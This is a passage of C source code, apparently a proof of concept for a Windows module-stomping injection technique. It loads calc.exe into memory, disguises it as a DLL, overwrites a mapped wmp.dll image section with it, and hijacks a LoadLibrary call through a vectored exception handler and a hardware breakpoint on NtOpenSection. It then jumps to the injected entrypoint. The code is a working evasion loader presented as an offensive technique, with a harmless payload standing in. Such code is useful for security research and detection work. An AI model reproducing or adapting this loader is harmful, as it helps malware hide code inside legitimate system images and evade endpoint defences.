PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress; 227 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew); 228 | 229 | PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); 230 | for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) 231 | { 232 | DWORD protect; 233 | DWORD old; 234 | 235 | if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE) 236 | { 237 | if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) 238 | protect = PAGE_EXECUTE_READWRITE; 239 | else if (sec->Characteristics & IMAGE_SCN_MEM_READ) 240 | protect = PAGE_EXECUTE_READ; 241 | else 242 | protect = PAGE_EXECUTE; 243 | } 244 | else 245 | { 246 | if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) 247 | protect = PAGE_READWRITE; 248 | else if (sec->Characteristics & IMAGE_SCN_MEM_READ) 249 | protect = PAGE_READONLY; 250 | else 251 | protect = PAGE_NOACCESS; 252 | } 253 | 254 | PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress; 255 | SIZE_T size = sec->Misc.VirtualSize; 256 | if (!size) 257 | size = sec->SizeOfRawData; 258 | 259 | VirtualProtect(addr, size, protect, &old); 260 | } 261 | return TRUE; 262 | } 263 | 264 | int 265 | main() 266 | { 267 | DWORD oldProt; 268 | DWORD bytesRead; 269 | 270 | // Read PE to inject (calc.exe) into buffer 271 | HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 272 | if (hCalc == INVALID_HANDLE_VALUE) 273 | { 274 | printf("[-] Failed to open calc.exe\n"); 275 | return 1; 276 | } 277 | DWORD fileSize = GetFileSize(hCalc, NULL); 278 | BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize); 279 | ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL); 280 | CloseHandle(hCalc); 281 | 282 | // Parse headers of PE to inject 283 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf; 284 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew); 285 | 286 | // Force DLL characteristics and zero out entrypoint 287 | DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint; 288 | if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL)) 289 | { 290 | nt->FileHeader.Characteristics |= IMAGE_FILE_DLL; 291 | nt->OptionalHeader.AddressOfEntryPoint = 0; 292 | } 293 | 294 | // Create SEC_IMAGE section from wmp.dll 295 | HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 296 | if (hWmp == INVALID_HANDLE_VALUE) 297 | { 298 | printf("[-] Failed to open wmp.dll\n"); 299 | return 1; 300 | } 301 | 302 | NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp); 303 | CloseHandle(hWmp); 304 | if (status < 0) 305 | { 306 | printf("[-] NtCreateSection failed: 0x%08X\n", status); 307 | return 1; 308 | } 309 | 310 | status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE); 311 | if (status < 0) 312 | { 313 | printf("[-] NtMapViewOfSection failed: 0x%08X\n", status); 314 | return 1; 315 | } 316 | 317 | // Make headers and image of wmp.dll writeable and wipe it 318 | VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt); 319 | memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage); 320 | 321 | // Copy headers and sections from PE to inject into the section 322 | CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize); 323 | HeapFree(GetProcessHeap(), 0, pTargetPeBuf); 324 | 325 | // Apply relocations & section protections 326 | ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase); 327 | ApplySectionProtections(gBaseAddress); 328 | 329 | printf("[*] Section ready:\n"); 330 | printf(" BaseAddress = %p\n", gBaseAddress); 331 | printf(" ViewSize = %zu\n", gViewSize); 332 | printf(" Section = %p\n", gSectionHandle); 333 | 334 | // Register VEH and set HWBP 335 | PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler); 336 | SetHardwareBreakpoint(NtOpenSection, NULL); 337 | 338 | // Load any DLL (in this case amsi.dll) to kick off the VEH and the injection flow 339 | HMODULE base = LoadLibraryW(L"amsi.dll"); 340 | if (!base) 341 | { 342 | printf("[-] Failed to load library\n"); 343 | return 1; 344 | } 345 | printf("[*] Loaded at 0x%llx\r\n", base); 346 | RemoveVectoredExceptionHandler(InjectHandler); 347 | 348 | // Invoke entrypoint 349 | PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset; 350 | printf("[*] Jumping to entrypoint at %p\n", entryPoint); 351 | ((void (*)())entryPoint)(); 352 | return 0; 353 | } --------------------------------------------------------------------------------